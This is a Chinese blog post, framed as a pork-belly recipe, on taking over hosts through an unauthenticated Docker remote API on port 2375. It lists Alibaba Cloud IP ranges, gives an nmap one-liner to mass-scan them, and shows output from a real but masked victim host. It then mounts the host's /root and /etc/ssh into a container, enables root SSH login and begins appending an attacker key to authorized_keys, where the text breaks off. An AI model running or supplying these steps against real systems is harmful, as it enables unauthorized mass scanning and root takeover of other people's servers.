相信瞭解過docker remote API的同學對2375端口都不陌生了,2375是docker遠程操控的默認端口,通過這個端口可以直接對遠程的docker daemon進行操作。
當$HOST主機以 docker daemon -H=0.0.0.0:2375 方式啟動daemon時,可以在外部機器對$HOST的docker daemon進行直接操作:
docker -H tcp://$HOST:2375 ps
好,說說如何“入侵”,怎麼通過這個端口入侵宿主機呢?
這個應該要從幾個點說起吧:
1. docker對 user namespace 沒有做隔離,也就是說,容器內部的root用戶就是宿主機的root用戶,一旦掛載目錄,就可以在容器內部以宿主機的root用戶身份對掛載的文件系統隨意修改了。
docker服務擁有很高的執行權利(相當於root),並且在docker用戶組下的普通用戶不需要任何其他驗證就可以執行docker run等命令。
暴露的docker remote API端口如果沒有啟動ssl驗證的話,任何能連通到這臺docker宿主機的的機器都可以隨意操作這臺docker宿主機的docker daemon(docker run、docker ps、docker rm等等這些命令都不在話下)。
結合以上3點,就基本具備入侵docker宿主機的條件了
講得似乎有點懸,不多說,直接拿一個活鮮鮮的例子來講吧:
(請允許我用最近新學的一道菜將流程帶過
祕製紅燒肉(docker版)
材料:一整塊一整塊的“5花”IP段,越肥越好(小白用戶越多越好)
配料:nmap,docker
step 1: 掃描2375端口
怎麼掃?我選用的是簡單易用的黑客必備神器 nmap 了。
掃哪裡呢?我選的目標是aliyun的IP段,百度得知:
42.96.128.0/17 Alibaba (Beijing) Technology Co., Ltd. China 42.120.0.0/16 Aliyun Computing Co., LTD China 42.121.0.0/16 Aliyun Computing Co., LTD China 42.156.128.0/17 Aliyun Computing Co., LTD China 110.75.0.0/16 Asia Pacific Network Information Centre China 110.76.0.0/19 Ali Technology Co., Ltd China 110.76.32.0/20 Aliyun Computing Co., LTD China 110.173.192.0/20 HiChina Web Solutions (Beijing) Limited China 110.173.208.0/20 HiChina Web Solutions (Beijing) Limited China 112.124.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 112.127.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 114.215.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 115.28.0.0/16 HiChina Web Solutions (Beijing) Limited China 115.29.0.0/16 HiChina Web Solutions (Beijing) Limited China 115.124.16.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China 115.124.20.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China 115.124.24.0/21 Hangzhou Alibaba Advertising Co.,Ltd. China 119.38.208.0/21 Hangzhou Alibaba Advertising Co.,Ltd. China 119.38.216.0/21 Hangzhou Alibaba Advertising Co.,Ltd. China 119.42.224.0/20 Alibaba (China) Technology Co., Ltd. China 119.42.242.0/23 Hangzhou Alibaba Advertising Co.,Ltd. China 119.42.244.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China 121.0.16.0/21 Hangzhou Alibaba Advertising Co.,Ltd. China 121.0.24.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China 121.0.28.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China 121.196.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 121.197.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 121.198.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 121.199.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 140.205.0.0/16 Aliyun Computing Co., LTD China 203.209.250.0/23 Hangzhou Alibaba Advertising Co.,Ltd. China 218.244.128.0/19 Hangzhou Alibaba Advertising Co.,Ltd. China 223.4.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 223.5.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 223.5.5.0/24 Hangzhou Alibaba Advertising Co.,Ltd. China 223.6.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 223.6.6.0/24 Hangzhou Alibaba Advertising Co.,Ltd. China 223.7.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd.
我不生產IP,我只是百度的搬運工,別問我這些IP從那來,我也想知道~ >.<
將上面IP內容保存在一個文件中,如 aliyun.list
開始掃描:
cat aliyun.list| awk '{print $1}' | xargs -n 1 -I {} nmap -sT -p2375 {} --open # 簡單解釋一下命令: # awk 將第一列IP網段過濾出來 # xargs 將過濾出來的IP一個一個的分次送給nmap,-I {} 是指使用{}來代替傳送的參數 # ... # Starting Nmap 7.01 ( https://nmap.org ) at 2016-06-05 09:57 CST # Nmap scan report for 42.96.MOSAIC.MOSAIC # Host is up (0.070s latency). # PORT STATE SERVICE # 2375/tcp open docker # ...
不到兩分鐘,第一塊 42.96.MOSAIC.MOSAIC (五花肉已打碼) “五花肉”選好了,來吧~
step 2: 測試2375的直接控制權
docker -H tcp://42.96.MOSAIC.MOSAIC:2375 ps # CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS # 73aa690e7c92 imdjh/owncloud-with-ocdownloader "/entrypoint.sh" 9 days ago Up 3 days 0.0.0.0:9009->80 # f57c56af0e29 rethinkdb:2.3.2 "rethinkdb --bind all" 9 days ago Up 3 days 8080/tcp, 28015/ # 37c1401db593 gaomd/ikev2-vpn-server:0.3.0 "/bin/sh -c /usr/bin/" 10 days ago Up 3 days 0.0.0.0:500->500 # af7338a5426d nginx:1.9-alpine "nginx -g 'daemon off" 3 weeks ago Up 3 days 443/tcp, 0.0.0.0 # ...
這個服務器的owner也太配合了(⊙ο⊙),ps直接看到內容,說明這個主機的2375是沒有ssl驗證的,基本滿足入侵要求。
“五花”洗好,切好,準備下鍋~
step 3: 遠程啟動自己的容器
拿到了docker的控制權能做什麼呢?拿到了就呵呵了~
# images 看看本地已有的鏡像 # docker -H tcp://42.96.MOSAIC.MOSAIC:2375 images # ... # swarm latest 47dc182ea74b 4 weeks ago 19.32 MB # jwilder/nginx-proxy latest 203b20631e41 4 weeks ago 255.6 MB # ubuntu latest c5f1cf30c96b 4 weeks ago 120.8 MB # shipyard/shipyard latest ba426f0944bc 5 weeks ago 58.92 MB # ...
省略了一部分輸出,鏡像還蠻多的,就選個ubuntu吧
# docker -H tcp://42.96.MOSAIC.MOSAIC:2375 run --rm -it --entrypoint bash -v /root:/tmp/root -v /etc/ssh:/tmp/ssh_etc -v /var/log:/tmp/log ubuntu
看到這步,相信對ssh有一些瞭解的同學應該就明白了
step 4: ssh pub key 注入
在剛剛啟動的容器中先看看 /tmp/ssh_etc/sshd_config (就是宿主機的 /etc/ssh/sshd_config ) 的PermitRootLogin字段。如果是 no 就改成 yes ,允許root通過ssh登錄
然後在你的機器上生成一對新的pub key(已經有ssh key的也建議生成一個新的,不要使用自己日常使用的ssh pub key)
# 使用 ssh-keygen生成 ssh-keygen -t rsa -C "hello@world.com" # 執行命令後的提示Enter file in which to save the key要看好,不要把自己的ssh key覆蓋了,可以選著/tmp/id_rsa # 其他提示enter到底即可
繼續,注入ssh pub key,回到剛剛啟動的容器執行
cat >> /tmp/root/.ssh/authorized_keys <
[lousu-xi ] Docker暴露2375端口導致服務器被攻擊問題及解決方法已經有463次圍觀